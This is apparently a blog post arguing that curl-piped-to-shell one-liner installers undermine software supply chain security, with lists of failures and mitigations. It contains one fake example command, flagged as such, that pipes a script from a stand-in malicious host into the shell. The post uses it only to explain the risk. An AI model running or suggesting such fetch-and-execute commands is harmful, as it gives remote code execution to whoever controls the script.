The world is built on other people’s code, and that’s a good thing. But sometimes, other people’s code goes wrong, leading to problems and solutions that we’re not entirely in control of. When things go wrong, our trust in the software supply chain goes down, yet we still depend on it. The community is abuzz with discussions about securing the software supply chain. It’s time for me to give my take on it, and I’m putting one-liner install scripts in my crosshair 🎯.

Examples of software supply chain failures

Here are just a few of many examples of how the software supply chain can be totally b0rked.

1. Somebody once tried to sneak a back door into the Linux kernel and it was very nearly successful.
2. Attackers create typo-squatting malicious packages with similar names those of legitimate ones.
3. Legitimate packages are hijacked by attackers to introduce malware.
4. Sometimes ownership of a code is passed onto somebody new, who has a different idea about what to do with it.
5. Developers want to make a political statement and use their software to do it, without warning.
6. Fatigued or betrayed by an exploitative or poorly managed ecosystem, some developers just pull the plug on their creations.
7. Updates to hot-topic software can be distributed through improper means to deliver malware payloads.

While NPM, the package management repository for NodeJS, gets a lot of flak, it’s by no means the only place this goes on. Everything from Windows updates and Linux kernels, through to Python packages and Android apps, are affected by supply chain issues. Yet, we can’t afford not to take the risk. Individuals and companies can get so much more done by building on work that already exists. That’s just good engineering. Recreating dependencies and equivalent software from scratch, in-house, would not only be hugely expensive, but also likely to introduce new and exotic security issues of unknowable severity. Even companies that can go it alone probably don’t want to. It’s worth taking a risk on the supply chain… right up until it isn’t.

Solutions to the problem

There are ways to mitigate some of the problems with the supply chain, and while this article isn’t intended to talk about them in depth, here are just a few.

1. Maintain a mirror: If the original repo is compromised or taken offline, at least you have a copy of it, and a copy that you can impose your own security measure upon, for that matter.
2. Maintain a fork: Going further than a mirror, treat your version of the software as a fork of the original, reviewing and merging changes based on your own security practices, needs and risk appetite. This takes some resources, but far fewer than growing your own solution from scratch.
3. Pay somebody else to maintain it: Having a direct agreement with the developer of a package might guarantee you some things you might not get from a pure F/OSS model. What’s better, a wishy-washy code of conduct statement, or a signed contract and money exchanged?
4. Manage patches and dependencies better: Setup your CI/CD pipeline, perhaps with some of the above measures like a mirror, to ensure that changes (good or bad) don’t make their way into your environment without your knowledge. Let the rest of the community run into problems before you do, but be prepared to make the judgement call on exactly you need to start applying that fix to a zero-day.
5. Keep things clean: Using two crypto libraries in your web-app? Why can’t you get that down to just one? Is it absolutely necessary, or just bloat due to changing needs of the app over time? Keep on top of your own code to avoid other people’s code becoming a problem for you.

This is by no means exhaustive, nor is it meant to be a best practices list. It’s just some things to think about and I’d be happy to see people share more concrete options on the best practices we should be following.

The ongoing trend flying in the face of security

We are told, time and time again, going back as many years as I can remember, to be mindful of where we obtain and run software from. But, in this era of turn-key, quickstart, “no time to RTFM I have development to do” solutions, I feel like all the talk about security falls by the wayside as soon as somebody is in a hurry to get something done. What do I mean specifically? I mean this…

# Don't actually run this, obviously...
curl -sfL https://get. infekted .now/rce.sh | sh -

I shouldn’t need to explain why this is a problem, but I’m going to anyway, because so many modern software stacks promote this installation method and I can’t believe it.

You just gave a website RCE

The above command, while fake, is similar to those out there for orchestration, CI runners, container engines and many other software stacks. But what you’re doing by executing that command is piping text from a web page into your shell. It’s just like downloading and running an executable without any safeguards in place. In fact, it’s worse, because your browser probably has some form of malicious download screening, and copy+paste curl commands, piped straight into a shell, will dodge right around that.

Congrats, while some attackers have to work hard to get remote code execution, it turns out all you needed to do was ctrl+c, ctrl+v, enter on their behalf. Sooner or later somebody’s going to copy and paste from what they think is a legit website, but isn’t, or worse, a legit website gets compromised with a dodgy script and all the other checks and balances are circumvented.

Where’s the integrity check?

Even if we’re on a trustworthy website, maybe it’s compromised, so how to ensure the script we’re downloading and executing without a care in the world is anything like the one that the developer intended us to receive? Twenty years ago any half-decent website was listing MD5 checksums to verify archive integrity, although anyone with access to change the archive could probably modify the checksum listing too - corruption was more of a problem back then, than malice. Now we use things like GPG and code signing certificates to verify the integrity of assets, so where are these security measures in the convenient one-liner above?

Now, usually, there is a way to do these things, in a few more steps, and it’s often documented on the very same page as the one-liner, but what percentage of people will actually do that? If we create hilariously unsafe ways for people to install software, are we not at least partially responsible for enabling their wayward security practices?

So what if it goes wrong? It’s just a dev environment!

Devs know how to take care of their own laptops, right? If something bad happens, they can rebuild. Any data loss can be fixed with a restore from backups or by checking out the code from the repo again. But what about all the access keys the developer has on that machine? All the passwords in their password manager? All the systems that their user account has access to? Wait… you mean to say they ran the one-liner as root!?

I think I’ve made my point. If you care, you care already, and if you don’t, we’re both wasting our time.

What do we do about it?

Realistically, we’re going to keep doing it. As much as I’ve complained about this problem in this article, I do it too. It’s just too convenient. Do we need to wait for a one-liner installer to trigger the next software supply chain apocalypse? I hope we can avoid that. Here’s a few ideas how:

1. Never automate the user of one-liners. Keep them out of CI/CD, container builds, etc. If a mistake is going to be made, let it be with a human in charge, at least.
2. Democratise the one-liner checking process, by moving away from per-website snippets and to a service or collection of services that can distribute and monitor them for safety. Wouldn’t you like to know when the contents of a one-liner script was last updated and if people agree its safe?
3. Stick to package managers as much as possible. One-liners should be a last resort, not a first. If package managers are that inconvenient by comparison, then we have work to do in the package manager space.
4. Educate people that copying and pasting shell scripts is remote code execution. It’s a scary thing to say, but it’s true, and people need reminding from time to time in order to respect the tools they’re wielding and to be vigilant online.

That’s all I have for this piece. Am I overstating the problem, or is this a disaster waiting to happen? Do my suggested solutions make sense, or do you have something better in mind? I look forward to hearing from you.